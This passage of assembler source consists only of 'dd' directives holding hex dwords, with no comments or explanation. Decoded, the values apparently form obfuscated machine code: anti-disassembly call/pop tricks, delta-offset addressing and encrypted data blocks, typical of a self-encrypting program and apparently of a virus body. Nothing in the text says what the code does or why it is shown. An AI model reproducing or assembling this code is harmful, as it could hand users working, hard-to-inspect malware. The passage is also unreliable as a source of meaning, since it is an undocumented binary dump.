		dd 8E840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 160424h, 53430000h, 4CB6E0C3h, 0F9DF8166h, 0B860h, 0BD8B0000h
		dd 6140E4Dh, 4DFF8D8Dh,	6A0614h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0FAD2EC3h, 0E1FFFABFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 4EC35747h
		dd 12E803h, 4330000h, 82E4B04Eh, 1F9CFF2Ch, 0A7D8B012h
		dd 0F6B21B0Ah, 5BF88B66h, 13DBD83h, 0F000614h, 4EB84h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0BE57558Ch, 55CF79CEh, 788EBB66h, 13DBD83h
		dd 0F010614h, 4D284h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0C8B439ECh, 3636E35h
		dd 1415859Dh, 3DBD8306h, 3061401h, 467860Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 28520FC3h, 639B589h,	6A600614h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 39C7C357h
		dd 0A7C270CDh, 8BF91DD4h, 0DF8166D9h, 8C669DA1h, 53006AD9h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 5427693Fh, 0B531F443h, 6141C6Dh, 0A04E180h, 1C840FC9h
		dd 6A000001h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 38DC355h, 159D8B53h, 5F061418h
		dd 0E35858Bh, 81660614h, 33A2D3E3h, 1406A985h, 38F0F06h
		dd 66000000h, 5090F88Bh, 0BBB76052h, 0F61D48Ah,	5A62B331h
		dd 0F905058h, 6ADFB7h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 18C35242h, 34567571h,	7B9719FCh, 1BADB531h
		dd 0F98B0614h
		dd 4E8h, 1F03FF00h, 14E900h, 0F7340000h, 310934C9h, 9E7BB38Ch
		dd 3236C5Eh, 415A4ADCh,	6050A675h, 0EE8h, 6117E00h, 0CC9857AFh
		dd 0D50490F3h, 66ECC100h, 0BA5FFA8Bh, 73FC398Bh, 24448B61h
		dd 66008B04h, 4489FE8Bh, 0D6BF0424h, 58782296h,	1BE59D8Bh
		dd 5B510614h, 89D95FFh,	8D0F0614h, 0Ah,	1616060h, 1419F59Dh
		dd 85896106h, 617A7EAh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 88C35646h, 25DE9h, 8BD88B00h,	17A7E285h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 1DAAC45Ch, 8DB58B60h, 0E8061425h, 12h, 0B854AEE7h
		dd 1EABEEEFh, 45C7AE78h, 6A184759h, 0DE998B1h, 0F9000000h
		dd 0F0E22F82h, 0A7BCD393h, 0E340CF3Eh, 0C7615Ah, 18h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 7FC35141h, 0B9FF475h
		dd 348A31DFh, 17D5B589h, 0B58B0614h, 617A7E6h, 6830Fh
		dd 0BD030000h, 6140765h, 81858BFCh, 6A061402h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 9B65C356h, 6A068915h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 23E6C356h, 0F9CAA3Dh
		dd 9D8BDABFh, 6142DF1h,	0E35858Bh, 0B5890614h, 6140F01h
		dd 6A044689h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0BBFCC355h, 8BF9D37Eh,	8935AE76h
		dd 141B8D95h, 0BB665006h, 3489EDD3h, 55006A24h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 55AC9FFFh
		dd 0B5FF80F7h, 617A7E2h, 0EE9h,	7024A800h, 0CF684BD3h
		dd 0F7DAAB4Ah, 0E800149Fh, 4, 1F03FFh, 16E624BFh, 0DE9503Eh
		dd 0FB000000h, 74AB0C93h, 3AC2F56Ah, 327AE946h,	424448Bh
		dd 12E8h, 0FE43D600h, 0AF291F79h, 191426F0h, 0D5FD63FFh
		dd 5F1B2B0Fh, 5250008Bh, 28BF66h, 12B7310Fh, 4489585Ah
		dd 0BF660424h, 8B5882E2h, 141C399Dh, 0EA858D06h, 6A0617A7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0D69C350h, 2DF07C56h, 0DE85F43h, 0B4000000h
		dd 6C2FAC39h, 52B2FFE2h, 0B7208FADh, 5BDFB70Fh,	38B86090h
		dd 0B81A804Fh, 6CB29D8Ah, 0F98B5061h, 53006A90h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 810F6716h, 0
		dd 89D95FFh, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 2E8F7BC3h, 23299D8Bh, 6A610614h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0E6D7C351h, 8E9h,	4A214400h, 0CFF9CFEDh
		dd 3D85C7D5h, 3061401h,	0F000000h, 9D89FEBFh, 6140C65h
		dd 0A7EABD83h, 0F000617h, 2084h, 0C59D8900h, 0F061415h
		dd 2DE9D8B7h, 89000000h, 1425618Dh, 68B0F06h, 8B000000h
		dd 1430519Dh, 0C305006h, 11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0A2C35343h, 3862A4F9h, 0B595898Bh, 0BF061424h
		dd 56546478h, 0BD8324B7h, 614013Dh, 37850F03h, 57000003h
		dd 835FCFB3h, 17A7EABDh, 840F0006h, 326h, 0D59B589h, 0B5FF0614h
		dd 617A7EAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	0EAC35646h, 95FFB590h, 6140339h, 0A7DEB58Bh, 6A0617h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 2BEC3CC3h, 0FBB70F46h, 106C7h, 6A0001h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 6BCE40C3h
		dd 9383E911h, 2398529h,	50960614h, 50006A96h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 47170C9Fh
		dd 0B708D0F6h, 0B5FF6DD4h, 617A7EAh, 1361BD33h,	95FF0614h
		dd 6141081h, 0A7DEB58Bh, 0BB660617h, 858BBD85h,	6140FF9h
		dd 8E9h, 0E8942D00h, 93C8D201h,	0C48689EBh, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0DE84C356h, 91E3BF66h, 2B69958Bh,	0DF810614h
		dd 6466BE02h, 83D98B66h, 6A04C2h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 9860F9C3h, 0BD1E565Fh
		dd 508912C9h, 6DBD8920h, 89061426h, 1426699Dh, 23858D06h
		dd 890617BCh, 1420D185h, 0B8868906h, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 7597C357h, 1C5D9589h, 6A0614h, 3860Fh, 8B660000h, 0EAB5FFDFh
		dd 6A0617A7h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0CF78C356h, 33AD95FFh,	6A0614h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 9D9E58C3h, 95890A1Ch, 6141AF5h, 0F355BF96h, 8B502987h
		dd 6A96DAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 44AB3CC3h, 0C475CF19h, 0DB1B529h,	0B5FF0614h
		dd 617A7EAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	8BC35545h, 582FF72h, 605350CEh,	0FF5B5F61h, 14230995h
		dd 89BD8306h, 61411h, 12840Fh, 0BF0F0000h, 0D88B96FBh
		dd 96DA8B50h, 0BD895B51h, 61420C5h, 0A7EAB5FFh,	0BB660617h
		dd 95FFFB2Fh, 61402D5h,	8459D8Bh, 0B5FF0614h, 617A7EAh
		dd 39AAD781h, 95FF3B84h, 6140B75h, 0DE9h, 4B368600h, 54117C2Dh
		dd 97C7E005h, 0BD830F69h, 614112Dh, 6D840F02h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 4466C352h, 6E9F9h, 7FB50000h, 6739D1DEh
		dd 55858Bh, 6A0614h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 180424h, 52420000h, 2C6585C3h, 8B669668h, 0C6F8h, 0CE8h
		dd 0CADF3E00h, 2A3056E9h, 3A05F6A2h, 0C595894Fh, 5B061415h
		dd 1E4985C7h, 614h, 9D8B0000h, 6141EB9h, 19A99589h, 26E90614h
		dd 8BFFFFF4h, 1405059Dh, 6AC18B06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 80EC357h
		dd 3B874395h, 22E9h, 0B0572900h, 10h, 6	dup(0)
		dd 0E9000000h, 58Bh, 5CA0DBEBh,	47CBC2C3h, 2CF0ADD8h, 1A1E95B3h
		dd 0FF037E8Dh, 0DBEA587Ch, 0C8C562A6h, 0B2DE49CDh, 92B433F7h
		dd 77A171Bh, 0E804ABA6h, 21EB2855h, 0DAD3F48Bh,	3FEC26A2h
		dd 1E6D9E0Dh, 407CB6F3h, 999D103Fh, 316C9BE2h, 99D74F19h
		dd 67A3A67Ch, 0EDA8A443h, 27566827h, 73ACA417h,	7ED4C694h
		dd 0B6C8878Dh, 3E457D0h, 1B7F53F0h, 1554C7F7h, 0A279BBF6h
		dd 0F6E91EA1h, 0F89F2FDCh, 5F6F1E2Fh, 0E3A7D7FBh, 9CAEDD34h
		dd 86821DE1h, 0B760F00Bh, 65FE928Bh, 0A23DF53Fh, 8CD3EBA6h
		dd 91F6067Fh, 97A2037Eh, 2C53F0CEh, 0EE05EA28h,	671E2C33h
		dd 0D7D2FEADh, 0FBB2D453h, 0CED862C3h, 0C8FA53F0h, 0ACDAA5D5h
		dd 0D2BDD9F1h, 37A8CBBh, 19701F1Fh, 94E913D9h, 0EF1C6385h
		dd 56837CB6h, 29000000h, 6C7AFD8Bh, 0FF8E58DFh,	536B2220h
		dd 5C6E3DF7h, 0E75A2A21h, 673C56B3h, 1E9F2FE5h,	53F0DE2Dh
		dd 0C4167D12h, 8594D916h, 1A0h,	66670C00h, 47780737h, 9255E441h
		dd 6AEE53F0h, 1B293646h, 432C6860h, 0B1EC1D2Ch,	0DDD0F26Dh
		dd 0FFAEDFAEh, 9C94BCFh, 356867CBh, 54497A05h, 0CB99F224h
		dd 350A6221h, 0DBA07223h, 3B7695B4h, 39089500h,	0BA53F05Bh
		dd 0B945CD6h, 524D79F9h, 46411E2Eh, 0F71B92B0h,	138AB8C7h
		dd 2F6664FBh, 0C52C6B1Fh, 0EAFBD98Fh, 0BDA10978h, 0C4EA5A0h
		dd 8594EAEEh, 89E8h, 6867C400h,	4F7A0535h, 61CE3952h, 53F092D2h
		dd 8727ED51h, 0CEFD14C3h, 5EC9C2BFh, 0F09262D1h, 979DE153h
		dd 5F4544E3h, 0F09263DEh, 789CE053h, 0B685D340h, 0B39C1368h
		dd 848259DBh, 0A1ACF109h, 0E4F2084Ah, 60EC8594h, 0C8000000h
		dd 0C1CE6867h, 0D7A8A0C4h, 0B7C8C0BBh, 65D6E695h, 0F0920938h
		dd 99868A53h, 51053568h, 0F74BCF26h, 0BD8C2984h, 3653F092h
		dd 0D43BC052h, 0E01B96B5h, 92192875h, 4D9A53F0h, 0D75D413Ch
		dd 6667D123h, 0A4A60737h, 9953F092h, 8D539FF6h,	2985948Ch
		dd 0Bh,	0D762C33Eh, 6CAC0F66h, 67202AE8h, 4619316Ch, 0D6314944h
		dd 0D6F11067h, 0DE2F57DBh, 0D61491AAh, 2F49DC62h, 3A4C132Bh
		dd 48384843h, 0B15F6B33h, 0A2D1C99h, 0A2A655E4h, 23BC74BEh
		dd 0E6516A21h, 0E40A8AB9h, 0F050955h, 54D14CBFh, 55E40AE5h
		dd 9D181A7Eh, 55E40AA0h, 0C6056CABh, 0ABB2C9C4h, 652DE79Eh
		dd 0C927C8FAh, 60966A07h, 289BB3D7h, 0B28E2F51h, 871B11F3h
		dd 9805365Ah, 55E47FA9h, 3FEC262Ah, 0B86E9E0Dh,	0B3D5F41Bh
		dd 7FF34EEFh, 0C7055E4h, 7F83BEFFh, 3C0055E4h, 6E9CE318h
		dd 0DFC3BACCh, 0EB319D55h, 8B8BA979h, 18Eh, 0C618021h
		dd 0F09290A3h, 88DD1353h, 77E6A171h, 0D2E90D31h, 92137F8Bh
		dd 53F0CCA7h, 0FE34583Ch, 0BA0252CDh, 1C9F11F6h, 0C1414CC6h
		dd 2249DCA5h, 70334ACh,	62ACBFBh, 245769F6h, 564547E0h
		dd 74275926h, 0F84BD447h, 7B55E460h, 6094A700h,	2B2F55E4h
		dd 7B10D07h, 0F68EA1C8h, 0D6AAAF8Bh, 265F6C4Fh,	295BF002h
		dd 0BC0B5972h, 17E7199Dh, 0B1C9C4C5h, 25FF3155h, 998F0E00h
		dd 3E9A5ED4h, 8BA92EF0h, 6A8Eh,	65802A00h, 9043EC1Fh, 53D3F092h
		dd 928CBFF8h, 307D3F0h,	9594EC1Fh, 0A0A43402h, 1C8F3FF5h
		dd 0F6ABDAA1h, 0C87B42C6h, 4BD3F005h, 0F1404DC7h, 0DED3F005h
		dd 3847DA31h, 1E7A920Bh, 5F140EDh, 0E72D3F0h, 0D455B004h
		dd 48CCFCB9h, 7BA41724h, 0D3F005C8h, 93ABE2E0h,	35FF4337h
		dd 57E2D8Ah, 91F553F0h,	9C5F8Dh, 80D50000h, 47E01B61h
		dd 49DC6A83h, 67F81074h, 75F23665h, 55235853h, 21E25049h
		dd 803CF66Ah, 0E4901F21h, 58271455h, 0FD59712Ch, 241A837h
		dd 0F9898D00h, 376667E8h, 4B68F813h, 0F3046E67h, 69CDDCAFh
		dd 0AED24193h, 91E85B64h, 85013974h, 9AD00E8Fh,	2D114FCDh
		dd 4E3D4F1Eh, 6C58DA3Eh, 82BAF113h, 0BBD3CEFDh,	0DCECA9A4h
		dd 0BC86ED2Ah, 0DA55BC9Bh, 0F30B8283h, 0D8299D97h, 0C01E9FACh
		dd 145F4F0h, 1782F93Dh,	0B539BB96h, 3C779341h, 4734880Ch
		dd 0B5396BE6h, 4064E841h, 618048B2h, 1747E01Bh,	0E849D9E5h
		dd 98E75464h, 2FFC3667h, 0D3C791Dh, 8655E805h, 6683C370h
		dd 0F71BBBCAh, 0AED04FD3h, 8CBDCCFFh, 6466F911h, 0BF0F0529h
		dd 514E2C7Eh, 0B3DAB5BFh, 34C97294h, 0C26D1D7Ah, 0B9498BCh
		dd 514C79F9h, 81B9DD39h, 0A5D5D0FEh, 6D9CF322h,	6CC5D25Bh
		dd 0F0B22760h, 0ADDF48CCh, 11FCCEFEh, 7A000000h, 35491F8Ch
		dd 37ED1E30h, 0D0CBFD2Ah, 6CD65CB8h, 4346767h, 3A52497Bh
		dd 5E6E2925h, 71890401h, 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh
		dd 18306D98h, 27574647h, 0E689561Fh, 4C681h, 0EE830000h
		dd 24348704h, 6824248Bh, 1823h,	68242C89h, 716Ah, 57243C89h
		dd 0EA4D4668h, 0BE565F06h, 486B3D99h, 0F75EF701h, 49CF81D7h
		dd 8173806Bh, 91E8DDEFh, 5FFD89EDh, 161E68h, 24248900h
		dd 4240483h, 25DD685Fh,	2C890000h, 8478F24h, 5F2434FFh
		dd 4C481h, 2C8B0000h, 0E0895024h, 405h,	4C08300h, 5C240487h
		dd 0FBE4D7E9h, 5684B1FFh, 316A98A5h, 0D58F88AFh, 0B8755E19h
		dd 6189B8Dh, 0E0FFC503h, 49E847BBh, 5050E76Dh, 611AE585h
		dd 93378D0h, 7E9748E1h,	0BBBEDD1h, 4CC8D6DAh, 69BDB235h
		dd 7AA640F8h, 4DE6E0C1h, 791858Dh, 7E90614h, 0A2000000h
		dd 68FD1C3Eh, 60905201h, 59525250h, 0CCB9310Fh,	5A3383B7h
		dd 61606058h, 91B6B866h, 66506161h, 8990F88Bh, 1416F985h
		dd 8B006A06h, 14264D9Dh, 99D0B06h, 6A061411h, 10E900h
		dd 0DCA90000h, 0B30ACF28h, 0CC78DC19h, 0AF5FA7D3h, 858DBDD6h
		dd 6189DF8h, 53C5BF66h,	8105C083h, 0C80AB6C3h, 0ADBD097Eh
		dd 5006141Fh, 8139BB66h, 0F240489h, 5760F8B7h, 10E5B58Bh
		dd 895A0614h, 1412E98Dh, 6A6106h, 0CFC1C381h, 6A6733h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 9C35646h
		dd 251C06ECh, 0BC073C74h, 1995FF9Bh, 6A06141Bh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 2AAC352h, 4DA06374h,	1F8D7140h, 5E8h, 0F2ABE200h, 0BD89ED8Eh
		dd 6140E31h, 788D8D5Bh,	0BB0617A7h, 146828FEh, 1EEDBD8Bh
		dd 0D1FF0614h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0E8C35343h, 66982142h, 8905FFEBh, 14116D9Dh, 41BD2906h
		dd 8306141Ch, 1401CDBDh, 850F0106h, 68h, 6880Fh, 85290000h
		dd 61415CDh, 0FE8026Ah,	9F000000h, 0AF3DE51h, 0EFF72AFFh
		dd 8B17B017h, 7EBF64A4h, 5F6155AAh, 0D5BF6650h,	24048939h
		dd 9ADBD23h, 95FF0614h,	61433ADh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 33C35646h, 4309C6ADh, 0F859D2Bh
		dd 0BD090614h, 6142B89h, 0E0EE9h, 0E800h, 815D0000h, 189E02EDh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 5AF29FA5h, 783F6E59h, 7E8h, 0C9655000h
		dd 5160886Ah, 14E95Bh, 0FCF10000h, 0D1FD47A4h, 0BB3473DEh
		dd 6F932CF6h, 630709A2h, 858D3685h, 6178E49h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 28C35646h, 3453160h
		dd 0F50909Eh, 1881h, 0EE96000h
		dd 50000000h, 929F8522h, 8289D57Fh, 59EBF81Fh, 0F28B66FDh
		dd 6A9061h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0A3BEF2C3h, 218D890Bh, 64061410h,	35FFh
		dd 13E80000h, 5D000000h, 0CA1999E4h, 1DE2AA83h,	54B78827h
		dd 7D49A113h, 9D09AA61h, 61415B1h, 2589645Bh, 0
		dd 85FFDE8Bh, 6142DEDh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 51C35545h, 0D4D92EB3h, 8C0Fh,	0FF6A0000h
		dd 255BD8Bh, 0B5FF0614h, 6141C3Dh, 4D9D89h, 95FF0614h
		dd 6142A89h, 115E9h, 0DBB70F00h, 9D8B00B0h, 6140885h, 2B759D09h
		dd 70E60614h, 28A0Fh, 0D98B0000h, 0BD8971E4h, 614237Dh
		dd 2691BD89h, 613C0614h, 0E4830Fh, 8B0F0000h, 3, 0FFE8B66h
		dd 0BAF5C8B6h, 6, 1A7D9D8Bh, 0C18B0614h, 0C1DFBF0Fh, 816604E8h
		dd 667356E7h, 0BDCCF381h, 0F8E2F766h, 0F53C82Bh, 68Dh
		dd 8D8D2900h, 5B061406h, 0BD8BD18Bh, 6140415h, 17E9h, 12E900h
		dd 0BEA90000h, 6343D128h, 0CE38AF21h, 71739193h, 0C9A193DEh
		dd 16B5858Bh, 0BD8B0614h, 6140515h, 5880Fh, 81660000h
		dd 83AEB7EBh, 0BF0F07C0h, 0C083FBh, 1EA59D8Bh, 0D03B0614h
		dd 0E830Fh, 8B660000h, 4CE9D8h,	0B5890000h, 6141005h, 2AA58D8Bh
		dd 0BD8B0614h, 6142011h, 0F01E183h, 3184h, 0A5A58300h
		dd 0FE06142Ah, 99D9D8Bh, 95890614h, 61416B5h, 0EE960h
		dd 0BF6E0000h, 439751B6h, 0B3A32609h, 870BE740h, 5BDE8B57h
		dd 0E961h, 0B58D0000h, 617FFF9h, 2631B589h, 6A0614h, 0BEDBD29h
		dd 95FF0614h, 6142971h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 5FC35040h, 17860Fh, 0BE80000h, 25000000h
		dd 0F94FEBD6h, 0A66A274Fh, 9D8B207Ch, 614063Dh,	0B9FA8B5Bh
		dd 841h, 11E9h,	8BC54700h, 582FF72h, 21CED6CEh,	628077ACh
		dd 0E1838FFCh, 52006AFCh, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 462D05BBh, 0AE9FCh, 84B40000h
		dd 7DB4CCABh, 232AF3FEh, 8B66C02Bh, 6AD22BDAh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 5B81C351h, 67EB8EE8h, 11E9771Fh, 0C1000000h,	9FA94C80h
		dd 0DEE24596h, 0CEBB2C5Eh, 0CCE2736Ch, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	68C35040h, 0BD295B50h, 614079Dh, 949B589h, 880D0614h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 5E0C350h, 1A840Fh, 0EE80000h
		dd 0C8000000h, 0A4BFEC30h, 43025398h, 0CC61C74Ah, 1D9589EAh
		dd 5F061416h, 2B69958Bh, 8D890614h, 6140015h, 10558D8Bh
		dd 9D310614h, 6141C39h,	8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 2A857FC3h, 7A10B225h, 6A9A83h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0E63DC7C3h, 7E8h, 66449200h,	5FD54D9Fh, 790BBF66h, 4DBD835Fh
		dd 6140Fh, 0A5840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 608CB0C3h, 1CF1BD01h
		dd 9D090614h, 61424EDh,	97B0EB81h, 0B849FBh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 12F9C351h, 7C94919Ah, 6696978Eh, 8D062CBBh
		dd 144DFF8Dh, 13E906h, 59E20000h, 0E6A1A6h, 725CFDE8h
		dd 0D6F8C4BAh, 0E33DB2C0h, 6AE1FF69h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8922C352h
		dd 141C1595h, 0C19D8B06h, 8306142Fh, 14013DBDh,	840F0006h
		dd 496h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	9FC35646h, 0FFFA6720h, 28ACE45Ah, 6820FBFh, 8B000000h
		dd 141B21BDh, 3DBD8306h, 1061401h, 473840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0D6AE59C3h, 1E07BE6Eh, 13E8h, 0BBAE2400h, 0DA72BC90h
		dd 8F30A108h, 0C515D8Dh, 782F5881h, 0F595660h, 8Bh, 895F6100h
		dd 14009585h, 3DBD8306h, 3061401h, 3E5860Fh, 2EBF0000h
		dd 6067BFA0h, 66D68B60h, 6661C88Bh, 6AD98Ch, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 583948C3h
		dd 2F90A4B7h, 8B988340h, 140429BDh, 4E18006h, 0BE960h
		dd 0A7AF0000h, 4ABE3BBBh, 0E4EFAF4h, 58D0F03h, 0B9000000h
		dd 2C93B8E9h, 0FC90A61h, 12F84h, 8D336000h, 6140B1Dh, 0F432E181h
		dd 8B6163A5h, 140E3585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0A984524h, 0E7F23A96h
		dd 8589EAEDh, 6140AB5h,	19159589h, 85330614h, 61406A9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 1C35040h
		dd 3E4D7E0Dh, 906AB315h, 9050F98Bh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 87C35545h, 0AE45CA13h, 8E9F90Ah
		dd 8000000h, 39BAF9F0h,	6A4DE27Ah, 0DFBF0F00h, 4FD21368h
		dd 9E956h, 677F0000h, 78DA42A3h, 814CBA2Ah, 0D1EC2434h
		dd 9E95650h, 0D9000000h, 0CA335B62h, 922ECE5h, 95FFF98Bh
		dd 614089Dh, 264CBF66h,	0A7EA8589h, 6A0617h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0CCA2D8C3h
		dd 8BCA611Dh, 14197D9Dh, 1E4E906h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0D28A3FC3h
		dd 0C5B89A43h, 0A7E2858Bh, 6A0617h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 5F9629C3h
		dd 0D283A04h, 0EF5BD29h, 0C70614h, 18h,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 16C35545h, 90FD5449h
		dd 8BC7382Eh, 1419F5BDh, 0E6B58B06h, 310617A7h,	140DCD9Dh
		dd 81858B06h, 89061402h, 14071D9Dh, 15BD8B06h, 89061423h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 2E32B993h, 0BF85FB8Ah, 2B000949h, 2498D89h
		dd 0BB660614h, 858B4B65h, 6140E35h, 0E9DBB70Fh,	0Ah, 0E14C5818h
		dd 48095D35h, 4689F0A1h, 6E904h, 0FBA20000h, 2B75C4BDh
		dd 24348950h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	0CBC35242h, 0B6272BDBh,	8958B449h, 141F319Dh, 0E2B5FF06h
		dd 680617A7h, 0BFE165FDh, 0EE8h, 4E9F1100h, 0AA42D399h
		dd 0B28C7AABh, 52363211h, 0E69CBF66h, 4815B5Fh,	3D9E0224h
		dd 0DCC78040h, 0A7EA858Dh, 8B660617h, 0BE850FEh, 6C000000h
		dd 19CA6F6Bh, 88B479E5h, 5250E01Ah, 20C797BBh, 5A310F4Eh
		dd 4895B58h, 51006A24h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 4677C2A0h, 9B5294Ch, 6006141Fh, 54B2CB8Ah
		dd 9D95FF61h, 6A061408h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 53A9C353h, 0F3DB81DDh
		dd 0E96C3BE3h, 0Eh, 0E28155Eh, 666E8EF5h, 0DED94891h, 0F615ACBh
		dd 68Ah, 6DB58900h, 0C7061411h,	14013D85h, 306h, 57006A00h
		dd 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 0B823F3CDh, 6692CD4h, 418D89B7h, 8306141Ch, 17A7EABDh
		dd 840F0006h, 43h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0F2C35343h, 3DE9h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 503E8E45h
		dd 50F31BD1h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 0BD2BC08Bh, 6143415h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 3FC35242h, 13DBD83h, 0F030614h
		dd 41585h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0DBFB80A6h, 83494FBBh, 17A7EABDh
		dd 840F0006h, 3E6h, 2E62BB66h, 0A7EAB5FFh, 12E90617h, 36000000h
		dd 439A5420h, 4F53CE2h,	57AC8118h, 6A39CA8Fh, 0DE858h
		dd 0ECCA0000h, 3E2865B9h, 5CAB744Ah, 0FF02560h,	0FF5FDFB7h
		dd 14033995h, 819D8906h, 8B061404h, 143479BDh, 0DEB58B06h
		dd 6A0617A7h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
